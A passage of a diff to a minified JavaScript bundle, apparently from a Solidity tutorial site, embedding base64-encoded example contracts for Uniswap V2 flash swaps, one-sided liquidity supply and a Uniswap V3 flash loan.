HsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV2FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS91bmlzd2FwLXYyLWZsYXNoLXN3YXAvVW5pc3dhcFYyRmxhc2hTd2FwLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXBUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CgogICAgVW5pc3dhcFYyRmxhc2hTd2FwIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkZsYXNoU3dhcCgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgZnVuY3Rpb24gdGVzdEZsYXNoU3dhcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIC8vIEFwcHJvdmUgZmxhc2ggc3dhcCBmZWUKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRUb0JvcnJvdyA9IDEwICogMWUxODsKICAgICAgICB1bmkuZmxhc2hTd2FwKGFtb3VudFRvQm9ycm93KTsKCiAgICAgICAgYXNzZXJ0R3QodW5pLmFtb3VudFRvUmVwYXkoKSwgYW1vdW50VG9Cb3Jyb3cpOwogICAgfQp9Cg=="}],_m=`

                    Uniswap V2 Flash Swap Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5825,7 +5825,7 @@ IERC20 constant PAIR Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,Lm=({prev:s,next:a})=>r.jsx(u,{version:Em,title:Um,description:Tm,html:Dm,prev:s,next:a,codes:Qm}),_m="0.8.24",Om="Uniswap V2 Optimal One Sided Supply",Pm="Uniswap V2 Optimal One Sided Supply",$m=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgLyoKICAgIHMgPSBvcHRpbWFsIHN3YXAgYW1vdW50CiAgICByID0gYW1vdW50IG9mIHJlc2VydmUgZm9yIHRva2VuIGEKICAgIGEgPSBhbW91bnQgb2YgdG9rZW4gYSB0aGUgdXNlciBjdXJyZW50bHkgaGFzIChub3QgYWRkZWQgdG8gcmVzZXJ2ZSB5ZXQpCiAgICBmID0gc3dhcCBmZWUgcGVyY2VudAogICAgcyA9IChzcXJ0KCgoMiAtIGYpcileMiArIDQoMSAtIGYpYXIpIC0gKDIgLSBmKXIpIC8gKDIoMSAtIGYpKQogICAgKi8KICAgIGZ1bmN0aW9uIGdldFN3YXBBbW91bnQodWludDI1NiByLCB1aW50MjU2IGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQyNTYgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoKICAgICAgICBJRVJDMjAoX3Rva2VuQSkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKCiAgICAgICAgYWRkcmVzcyBwYWlyID0gSVVuaXN3YXBWMkZhY3RvcnkoRkFDVE9SWSkuZ2V0UGFpcihfdG9rZW5BLCBfdG9rZW5CKTsKICAgICAgICAodWludDI1NiByZXNlcnZlMCwgdWludDI1NiByZXNlcnZlMSwpID0KICAgICAgICAgICAgSVVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKCiAgICAgICAgdWludDI1NiBzd2FwQW1vdW50OwogICAgICAgIGlmIChJVW5pc3dhcFYyUGFpcihwYWlyKS50b2tlbjAoKSA9PSBfdG9rZW5BKSB7CiAgICAgICAgICAgIC8vIHN3YXAgZnJvbSB0b2tlbjAgdG8gdG9rZW4xCiAgICAgICAgICAgIHN3YXBBbW91bnQgPSBnZXRTd2FwQW1vdW50KHJlc2VydmUwLCBfYW1vdW50QSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gc3dhcCBmcm9tIHRva2VuMSB0byB0b2tlbjAKICAgICAgICAgICAgc3dhcEFtb3VudCA9IGdldFN3YXBBbW91bnQocmVzZXJ2ZTEsIF9hbW91bnRBKTsKICAgICAgICB9CgogICAgICAgIF9zd2FwKF90b2tlbkEsIF90b2tlbkIsIHN3YXBBbW91bnQpOwogICAgICAgIF9hZGRMaXF1aWRpdHkoX3Rva2VuQSwgX3Rva2VuQik7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoYWRkcmVzcyBfZnJvbSwgYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgaW50ZXJuYWwgewogICAgICAgIElFUkMyMChfZnJvbSkuYXBwcm92ZShST1VURVIsIF9hbW91bnQpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBfZnJvbTsKICAgICAgICBwYXRoWzFdID0gX3RvOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBfYW1vdW50LCAxLCBwYXRoLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9hZGRMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGludGVybmFsIHsKICAgICAgICB1aW50MjU2IGJhbEEgPSBJRVJDMjAoX3Rva2VuQSkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsQiA9IElFUkMyMChfdG9rZW5CKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkEpLmFwcHJvdmUoUk9VVEVSLCBiYWxBKTsKICAgICAgICBJRVJDMjAoX3Rva2VuQikuYXBwcm92ZShST1VURVIsIGJhbEIpOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuYWRkTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBiYWxBLCBiYWxCLCAwLCAwLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludDI1NiBhbW91bnRBRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEJEZXNpcmVkLAogICAgICAgIHVpbnQyNTYgYW1vdW50QU1pbiwKICAgICAgICB1aW50MjU2IGFtb3VudEJNaW4sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQyNTYgYW1vdW50SW4sCiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIHRva2VuMCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7CgogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKCiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],qm=`
                    Optimal One Sided Supply
                    
+`,Lm=({prev:s,next:a})=>r.jsx(u,{version:Dm,title:Tm,description:Um,html:_m,prev:s,next:a,codes:Qm}),Om="0.8.24",Pm="Uniswap V2 Optimal One Sided Supply",$m="Uniswap V2 Optimal One Sided Supply",qm=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgLyoKICAgIHMgPSBvcHRpbWFsIHN3YXAgYW1vdW50CiAgICByID0gYW1vdW50IG9mIHJlc2VydmUgZm9yIHRva2VuIGEKICAgIGEgPSBhbW91bnQgb2YgdG9rZW4gYSB0aGUgdXNlciBjdXJyZW50bHkgaGFzIChub3QgYWRkZWQgdG8gcmVzZXJ2ZSB5ZXQpCiAgICBmID0gc3dhcCBmZWUgcGVyY2VudAogICAgcyA9IChzcXJ0KCgoMiAtIGYpcileMiArIDQoMSAtIGYpYXIpIC0gKDIgLSBmKXIpIC8gKDIoMSAtIGYpKQogICAgKi8KICAgIGZ1bmN0aW9uIGdldFN3YXBBbW91bnQodWludDI1NiByLCB1aW50MjU2IGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQyNTYgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoKICAgICAgICBJRVJDMjAoX3Rva2VuQSkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKCiAgICAgICAgYWRkcmVzcyBwYWlyID0gSVVuaXN3YXBWMkZhY3RvcnkoRkFDVE9SWSkuZ2V0UGFpcihfdG9rZW5BLCBfdG9rZW5CKTsKICAgICAgICAodWludDI1NiByZXNlcnZlMCwgdWludDI1NiByZXNlcnZlMSwpID0KICAgICAgICAgICAgSVVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKCiAgICAgICAgdWludDI1NiBzd2FwQW1vdW50OwogICAgICAgIGlmIChJVW5pc3dhcFYyUGFpcihwYWlyKS50b2tlbjAoKSA9PSBfdG9rZW5BKSB7CiAgICAgICAgICAgIC8vIHN3YXAgZnJvbSB0b2tlbjAgdG8gdG9rZW4xCiAgICAgICAgICAgIHN3YXBBbW91bnQgPSBnZXRTd2FwQW1vdW50KHJlc2VydmUwLCBfYW1vdW50QSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gc3dhcCBmcm9tIHRva2VuMSB0byB0b2tlbjAKICAgICAgICAgICAgc3dhcEFtb3VudCA9IGdldFN3YXBBbW91bnQocmVzZXJ2ZTEsIF9hbW91bnRBKTsKICAgICAgICB9CgogICAgICAgIF9zd2FwKF90b2tlbkEsIF90b2tlbkIsIHN3YXBBbW91bnQpOwogICAgICAgIF9hZGRMaXF1aWRpdHkoX3Rva2VuQSwgX3Rva2VuQik7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoYWRkcmVzcyBfZnJvbSwgYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgaW50ZXJuYWwgewogICAgICAgIElFUkMyMChfZnJvbSkuYXBwcm92ZShST1VURVIsIF9hbW91bnQpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBfZnJvbTsKICAgICAgICBwYXRoWzFdID0gX3RvOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBfYW1vdW50LCAxLCBwYXRoLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9hZGRMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGludGVybmFsIHsKICAgICAgICB1aW50MjU2IGJhbEEgPSBJRVJDMjAoX3Rva2VuQSkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsQiA9IElFUkMyMChfdG9rZW5CKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkEpLmFwcHJvdmUoUk9VVEVSLCBiYWxBKTsKICAgICAgICBJRVJDMjAoX3Rva2VuQikuYXBwcm92ZShST1VURVIsIGJhbEIpOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuYWRkTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBiYWxBLCBiYWxCLCAwLCAwLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludDI1NiBhbW91bnRBRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEJEZXNpcmVkLAogICAgICAgIHVpbnQyNTYgYW1vdW50QU1pbiwKICAgICAgICB1aW50MjU2IGFtb3VudEJNaW4sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQyNTYgYW1vdW50SW4sCiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIHRva2VuMCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7CgogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKCiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],sb=`
                    Optimal One Sided Supply
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5973,7 +5973,7 @@ IERC20 constant PAIR external
         returns (bool);
 }
-
                    `,sb=({prev:s,next:a})=>r.jsx(u,{version:_m,title:Om,description:Pm,html:qm,prev:s,next:a,codes:$m}),ab="0.8.24",nb="Uniswap V3 Flash Loan",lb="Uniswap V3 Flash Loan",pb=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwLAogICAgICAgIHVpbnQyNTYgZmVlMSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwb29sKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIEZsYXNoQ2FsbGJhY2tEYXRhIG1lbW9yeSBkZWNvZGVkID0gYWJpLmRlY29kZShkYXRhLCAoRmxhc2hDYWxsYmFja0RhdGEpKTsKCiAgICAgICAgLy8gV3JpdGUgY3VzdG9tIGNvZG